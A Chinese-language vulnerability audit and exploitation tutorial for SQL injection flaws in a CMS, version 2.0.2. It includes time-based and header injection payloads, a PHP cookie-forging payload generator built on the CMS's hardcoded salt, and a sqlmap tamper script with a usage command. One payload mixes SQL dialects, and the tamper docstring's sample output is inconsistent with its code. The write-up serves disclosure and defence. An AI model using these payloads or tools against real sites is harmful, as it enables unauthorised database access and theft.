某CMS的多处SQL注入审计分析
字数 1675 2025-08-26 22:11:57

某CMS多处SQL注入漏洞分析与利用教学

1. 漏洞概述

本文档详细分析某CMS 2.0.2版本中存在的多处SQL注入漏洞,包括后台和前台多个功能点的注入漏洞。这些漏洞已在最新版本中修复,本文仅用于安全研究和学习目的。

2. 环境准备

  • 目标CMS版本:2.0.2
  • 测试工具:SQLMap、Burp Suite等
  • 基础知识:PHP、SQL注入原理、HTTP协议

3. 后台SQL注入漏洞分析

3.1 后台de***.php注入(CNVD-2020-12871)

漏洞位置de***.php文件中的de***_add函数

漏洞分析

  1. 函数对GET和POST参数进行empty判断
  2. 参数传递给edit_admin_department函数
  3. 只有$departmentname$olddepartmentname经过usafestr安全过滤
  4. $id参数未过滤直接拼接SQL语句

利用方法

  • 构造恶意id参数进行注入
  • 示例Payload:id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)

3.2 后台lo***.php注入

漏洞位置lo***.php中的adminlogin功能

漏洞分析

  1. 获取登录者IP:getip()->$logiparr->encode->$logipstr
  2. IP未经过滤直接拼接到SQL语句
  3. getip()函数返回HTTP_X_FORWARDED_FOR头部值

利用方法

  • 通过X-Forwarded-For头部注入
  • 示例:X-Forwarded-For: 127.0.0.1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--

3.3 后台role.php注入

漏洞位置role.php文件

漏洞分析

  1. 参数id只进行empty判断
  2. 未过滤直接用于edit_admin_role函数中的SQL查询
  3. 基于布尔或时间的盲注

利用方法

  • 直接使用SQLMap进行自动化测试
  • 示例:id=1 AND 1=CONVERT(INT,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))

4. 前台SQL注入漏洞分析

4.1 前台me***.php注入

漏洞位置me***.php中的自定义表单customform

漏洞分析

  1. userid从Cookie中获取
  2. Cookie中的userid经过yunyecms_strdecode函数解密
  3. 解密算法位于corefun.php
  4. 攻击者可伪造Cookie中的userid

加密/解密算法

function yunyecms_strencode($string, $salt = '~^y#u%n$y^e*c%m^s^~'){
    return base64_encode(substr(md5($salt), 8, 18) . base64_encode($string) . substr(sha1($salt), 0, 35));
}

function yunyecms_strdecode($string, $salt = '~^y#u%n$y^e*c%m^s^~'){
    $retstr = base64_decode($string);
    $SHA1salt = substr(sha1($salt), 0, 35);
    $md5salt = substr(md5($salt), 8, 18);
    $retstr = substr($retstr, strlen($md5salt));
    $retstr = substr($retstr, 0, (strlen($retstr) - strlen($SHA1salt)));
    return base64_decode($retstr);
}

利用流程

  1. 构造恶意userid
  2. 使用yunyecms_strencode函数加密
  3. 将加密结果放入Cookie的userid字段
  4. 发送请求触发SQL注入

Payload生成工具

<?php
function yunyecms_strencode($string, $salt = '~^y#u%n$y^e*c%m^s^~'){
    return base64_encode(substr(md5($salt), 8, 18) . base64_encode($string) . substr(sha1($salt), 0, 35));
}

function yunyecms_strdecode($string, $salt = '~^y#u%n$y^e*c%m^s^~'){
    $retstr = base64_decode($string);
    $SHA1salt = substr(sha1($salt), 0, 35);
    $md5salt = substr(md5($salt), 8, 18);
    $retstr = substr($retstr, strlen($md5salt));
    $retstr = substr($retstr, 0, (strlen($retstr) - strlen($SHA1salt)));
    return base64_decode($retstr);
}

if($_GET['cookie']) {
    $string = $_GET['cookie'];
    $userid = yunyecms_strdecode($string);
    echo $userid;
}

if($_GET['userid']){
    $string = $_GET['userid'];
    $cookie = yunyecms_strencode($string);
    echo $cookie;
}

4.2 SQLMap Tamper脚本

为方便使用SQLMap自动化测试,可编写以下Tamper脚本:

#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import base64
import hashlib
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def md5(data):
    hash_md5 = hashlib.md5(data)
    md5data = hash_md5.hexdigest()[8:18]
    return md5data

def sha1(data):
    string_sha1 = hashlib.sha1(data).hexdigest()[0:35]
    return string_sha1

def yunyecms_strencode(string):
    salt = '~^y#u%n$y^e*c%m^s^~'
    return base64.b64encode(md5(salt) + base64.b64encode(string) + sha1(salt))

def tamper(payload, **kwargs):
    """
    Base64-encodes all characters in a given payload

    >>> tamper("1' AND SLEEP(5)#")
    'MScgQU5EIFNMRUVQKDUpIw=='
    """
    return yunyecms_strencode(payload) if payload else payload

使用方法

sqlmap -u "http://target.com/member.php" --cookie="userid=*" --tamper=yunyecms_front_sqli_tamp.py --level=3

5. 漏洞修复建议

  1. 对所有用户输入进行严格的过滤和转义
  2. 使用预处理语句(PDO)或参数化查询
  3. 最小化数据库用户权限
  4. 更新到最新版本CMS
  5. 对Cookie值进行完整性校验

6. 总结

本文详细分析了某CMS 2.0.2版本中存在的多个SQL注入漏洞,包括:

  • 后台de***.phplo***.phprole.php等文件的注入
  • 前台me***.php通过Cookie伪造的注入
  • 提供了加密/解密算法分析和Payload生成工具
  • 编写了SQLMap Tamper脚本方便自动化测试

这些漏洞的根本原因在于对用户输入缺乏充分的验证和过滤,导致攻击者可以构造恶意输入执行任意SQL语句。开发人员应引以为戒,在代码中实施严格的安全措施。

某CMS多处SQL注入漏洞分析与利用教学 1. 漏洞概述 本文档详细分析某CMS 2.0.2版本中存在的多处SQL注入漏洞,包括后台和前台多个功能点的注入漏洞。这些漏洞已在最新版本中修复,本文仅用于安全研究和学习目的。 2. 环境准备 目标CMS版本:2.0.2 测试工具:SQLMap、Burp Suite等 基础知识:PHP、SQL注入原理、HTTP协议 3. 后台SQL注入漏洞分析 3.1 后台de*** .php注入(CNVD-2020-12871) 漏洞位置 : de***.php 文件中的 de***_add 函数 漏洞分析 : 函数对GET和POST参数进行 empty 判断 参数传递给 edit_admin_department 函数 只有 $departmentname 和 $olddepartmentname 经过 usafestr 安全过滤 $id 参数未过滤直接拼接SQL语句 利用方法 : 构造恶意 id 参数进行注入 示例Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))a) 3.2 后台lo*** .php注入 漏洞位置 : lo***.php 中的 adminlogin 功能 漏洞分析 : 获取登录者IP: getip()->$logiparr->encode->$logipstr IP未经过滤直接拼接到SQL语句 getip() 函数返回 HTTP_X_FORWARDED_FOR 头部值 利用方法 : 通过 X-Forwarded-For 头部注入 示例: X-Forwarded-For: 127.0.0.1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- 3.3 后台role.php注入 漏洞位置 : role.php 文件 漏洞分析 : 参数 id 只进行 empty 判断 未过滤直接用于 edit_admin_role 函数中的SQL查询 基于布尔或时间的盲注 利用方法 : 直接使用SQLMap进行自动化测试 示例: id=1 AND 1=CONVERT(INT,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)) 4. 前台SQL注入漏洞分析 4.1 前台me*** .php注入 漏洞位置 : me***.php 中的自定义表单 customform 漏洞分析 : userid 从Cookie中获取 Cookie中的 userid 经过 yunyecms_strdecode 函数解密 解密算法位于 corefun.php 攻击者可伪造Cookie中的 userid 值 加密/解密算法 : 利用流程 : 构造恶意 userid 值 使用 yunyecms_strencode 函数加密 将加密结果放入Cookie的 userid 字段 发送请求触发SQL注入 Payload生成工具 : 4.2 SQLMap Tamper脚本 为方便使用SQLMap自动化测试,可编写以下Tamper脚本: 使用方法 : 5. 漏洞修复建议 对所有用户输入进行严格的过滤和转义 使用预处理语句(PDO)或参数化查询 最小化数据库用户权限 更新到最新版本CMS 对Cookie值进行完整性校验 6. 总结 本文详细分析了某CMS 2.0.2版本中存在的多个SQL注入漏洞,包括: 后台 de***.php 、 lo***.php 、 role.php 等文件的注入 前台 me***.php 通过Cookie伪造的注入 提供了加密/解密算法分析和Payload生成工具 编写了SQLMap Tamper脚本方便自动化测试 这些漏洞的根本原因在于对用户输入缺乏充分的验证和过滤,导致攻击者可以构造恶意输入执行任意SQL语句。开发人员应引以为戒,在代码中实施严格的安全措施。